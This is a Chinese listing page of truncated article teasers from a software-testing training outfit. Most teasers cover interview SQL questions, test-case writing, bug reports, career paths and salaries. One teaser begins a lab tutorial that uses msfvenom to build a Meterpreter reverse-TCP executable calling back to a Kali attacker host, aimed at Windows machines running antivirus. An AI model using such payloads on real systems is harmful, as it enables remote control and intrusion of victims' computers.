软件测试前沿技术分享

♥ 前 言2021到了最后一个月份，年后肯定有蛮多小伙伴需要跳槽换工作，但对于年限稍短的软件测试工程师，难免会需要进行笔试，而在笔试中，基本都会碰到一道关于数据库的大题，今天这篇文章呢，就收录了下最近学员反馈上来的一些数据库笔试真题，包含答案！1、依据以下学生表、班级表，按要求写 SQL答案：1、select * from student aleft join class b on a.c_id = b.idwhere score = (select max(sc..

测试工程师01.背景有面临这样问题的测试盆友，一般应该是以下 2 种情况：1，薪资在 8000 以下，下一次跳槽的目标薪资是 8000 元。想了解一下，然后找找差距。2，薪资在 8000 块，想了解行业中其它同样薪资的测试人，是个什么样的状态。下一个目标是什么？不管是哪种，都想要了解：1. 在软件测试行业里，属于一个什么样的水平？2. 工作职责是什么？工作技能是什么样的？3. 再往上的发展是什么样的？以上这些问题，需要根据不同的城市来看。.

“北京早高峰的地铁，人挤人、背贴背，为了挤上一班地铁，往往要等3趟车。”“我每天就是在这样的地铁上，花一个半小时，把手机举过头顶，学完柠檬班Java自动化课程的。” —— 老王众人羡慕的年薪50W拥有者，柠檬班30期Java自动化学员老王，平静的跟我们说出这些话，他的故事，出乎意料，又真实动人。【软件测试架构师】从小白到高手，免费赠送学习资料以下，是他的自述。风光背后I Also You Miracle我是老王，其实年龄也不算“老”，29岁的门槛上，只...

编写一份好的测试用例需要：充分的需求分析能力 + 理论及经验加持。 但这并不意味着，没测试经验、分析能力弱就不能写好用例，还是有方法可循的。作为混迹测试职场 10 年的老人，给大家分享一些用例编写的心得，接下来我会从以下几个方面展开来讲：测试用例概念、作用、内容等介绍 如何编写测试用例？ 微信发送朋友圈案例分享一、测试用例介绍测试用例是为项目需求而编制的一组包含测试输入、执行条件以及预期结果的文档，以便测试某个程序是否满足客户需求。1、为什么要写测试用例？是测试工作的指导，是软件测试质

1.环境攻击机：kali Linux 10.211.55.23受害机：Windows10 360 主动防御Windows7 火绒主动防御2.生成 exe 文件在 kali Linux 下使用msfvenom生成一个 64 位的 exe 文件msfvenom-pwindows/x64/meterpreter/reverse_tcplhost=10.211.55.23lport=4444-fexe-o1.exe将文件分别发送至 Windows10 上，...

18岁搞爱情最快乐，28岁搞钱最快乐。今天我们就来聊聊，「钱」这个庸俗的话题，谈谈年轻测试人为什么都一心搞钱？——很简单，因为焦虑，因为成年人的快乐，都有价格！尽管和父辈相比，这一届年轻人的生活条件当然要优越更多，但这并不意味着他们能过的更加轻盈。相反，现代生活施加给年轻人的压力，或许还要大过上一代人。读书时的同辈竞争，毕业后的求职挑战，工作后的职场奋斗，还有高企的房价、上涨的婚育成本、传说中越来越近的中年危机……发达的社交媒体让阶层间的壁垒变得透明可见，划开手机，我们就

测试总体流程题1、软件测试的各个阶段1.1测试的各个阶段测试过程：PDCA戴明循环戴明循环是一个质量持续改进模型， 它包括持续改进与不断学习的四个循环反复的步骤，即计划（Plan）、执行（Do）、检查（Check/Study）、处理（Action）。 戴明循环有时也被为称戴明轮或持续改进螺旋。如下图所示：1.2测试需求检查需求：检查软件需求（规格说明书）是否覆盖了用户提出的所有需求项用词是否清晰，语义是否有存在歧义的地.

如果你问现在的年轻人，最想要什么，十有八九会得到这样的答案：想进大厂！想搞钱！近期，互联网大厂纷纷给员工「加福利」：◆ 腾讯光子工作室强制员工每周三18:00下班；◆ 腾讯为3300名员工发放股份奖励，人均可得34万元；◆ 快手、字节前后脚取消大小周；◆ 小米向3904名优秀员工授予约7000万股的股票；◆ 京东也宣布用两年时间，将员工平均年薪由14薪涨至16薪....消息一出，很多职场人都表示羡慕哭了....这一代伴随着互联网共同成长的年轻人，.

其实测试行业未来发展之路是几乎所有关于软件测试工程师都会在意的话题，相信各位看官也很迷茫自己的发展路线。为了方便大家选择和比较，我也将我的经验和观点分享出来，以作参考。如果小伙伴们有更好的观点，欢迎分享和探讨，互相学习！一、技术方向就技术方向的职业发展之路，我非常赞同之前看过的一篇文章里说的，如果你打定主意就想往测试技术方向去发展，做一个技术型的牛人，那摆在你面前的就只有三条路：√自动化测试工程/架构师√性能测试工程师√行业性测试专家※特别提醒：你几乎没有其他选择，.

介绍缺陷报告是测试过程中可以提交的最重要的东西。它的重要性丝毫不亚于测试计划，并且比其他的在测试过程中的产出文档对产品的质量的影响更大。所以很有必要学习如何写出有效的缺陷报告。有效的缺陷报告将能够：减少开发部门的二次缺陷率提高开发修改缺陷的速度提高测试部门的信用度增强测试和开发部门的协作为什么测试人员从开发那里得到的反馈比从其他部门得到的更多？一定程度上这个答案就是缺陷报告，依照一些简单的规则可以使整个过程更加顺畅。但是我们的目标并不是写一个非常完美的缺陷报告，.

柠檬班有挺多学员曾在BAT、网易这些大厂做过外包，小檬和他们也有过几次深度交流，也算是对外包各种情况比较了解。看大家这么关心此类问题，我就想介绍下“什么是外包？”，“外包公司的现状”，就“为什么这么多人鄙视外包测试岗？”、”腾讯15K的外包测试岗能去吗？”谈谈自己的想法。什么是外包？外包指企业在管理系统实施过程中，为了节省成本、高效管理，把那些非核心的部门或业务外包给相应的专业公司的行为。而外包公司又分为：[ 软件项目外包 ]企业将软件项目的全部或部分工作外包给提供外包.

小檬有话说:一个船舶建造专业的人转行软件测试会经历些什么?他走到如今的自动化测试工程师，可谓是”一波三折”，往下看你就知道了!船舶建造专业——一个大部分人都没听过的神奇专业。这么说吧，这个专业要么不就业，要么对口直接就业，而我就属于那种专业很不对口艰难就业的那一拨。毕业之后我直接选择南下深圳找工作，一开始在一家机械制造厂做数控，每天都是搬这搬那，各种打杂，被组长使唤来使唤去。有一天实在受不了，感觉在工厂做事太累、太脏，想找个坐办公室的工作，立马就提辞职，当时出厂的时候就是一个想法：我想坐办公室！ .

小檬有话说：在一个男生占绝对主导的IT行业里，想知道，程序媛是如何生存的吗？话不多说，请往下看。大家好好我是大田，17年毕业，专业是软件工程，是的，我就是传说的程序员，性别女。你们想象中的高大上、高薪IT行业，我只想表示：秃头的富婆不好当。话要从头说起，那时候高中毕业，就像放飞的小鸟哪里想过要报什么专业，误打误撞进了家里人给参谋报考的计算机专业。刚开始学的时候也是非常蒙圈，欲哭无泪，只恨自己当初脑子进了水。但是看我们专业有好多女生学得好，我那该死的好胜心上来了，都是一样的分进来的，凭啥我不行。

BOSS直聘研究院数据显示，2020年上半年应届生平均招聘薪资为5312元。然而，在这份调查数据之下，有不少同学回复表示自己“被平均”、“拖后腿”......●“985，坐标成都，合同制，第一个月才三千五，不交公积金，真的离谱”●“在家，小国企，父母都劝我签，但是到手就只有3500，人际还那么复杂”●“面试问了一大堆，一谈工资：3000，试用期80%.....翻阅大家的留言后发现，高薪千万种，低薪全部3000起，应届生就业魔咒--“3000块”，如何打破这个囧境呢？《月薪3000避.

毕业五年月薪1万，想要提升自我升职加薪，却与“疫情”撞了满怀，求职中更是遭遇黑幕，面对普遍不敢开高薪的公司，他是如何拿下17K、18K、19K多家高薪offer？我是Dake（大可），一个毕业五年，深耕IT领域的软件测试工程师，从毕业开始，就一直从事软件测试行业，在外人看来我可能具备先天的优势和良好的基础，但在这个行业，没有提升便是落后。毕业五年，我一直用自己仅有的软件测试知识做着最基础的点点点工作，日复一日，就这样坚持了5年，但一眼看到终点的未来不是我想要的，第一次，我有了打破现状的想法。为了升职

近日，腾讯进行了第三次架构调整，1985年前出生的非高层人员将要被“优化”。换句话说，假如你今年35岁，还是个普通程序员或初级测试工程师，那么人事会找你好好聊聊，是不是考虑主动离职，你的岗位可能会被更加年轻的人取代。“高薪如程序员，也躲不过35岁这一关”。其实，不止腾讯，连华为、百度也在优化员工年龄，力求让整体水平偏向“年轻化”。演变至今，35岁已经成为了职场的危机信号，一连串的35岁词汇应运而生。像“35岁危机”、“职场奢侈品”等。因为35岁是一个“上有老，下有小，找工作嫌你老，想退休嫌.

在给学生做职业规划的时候，经常就有同学说：我以后要做管理岗！其实对于很多刚入行的同学，可能说这句话的时候并没有真正理解管理岗需要做什么事，以及需要具备什么样的技能。所以，作为资深测试经理，我来跟大家分享一下管理岗需要具备的一些素质！测试管理岗位职责要了解测试管理岗位需要具备的素质，我们先来看下测试管理岗位的职责。以下是 Boss 直聘上某几家的公司的测试经理的岗位要求：从上面的岗位描述和职责，我们不难看出，测试管理岗并不是一个纯管理岗，它需要你具备技术能力，管理能力，统筹规...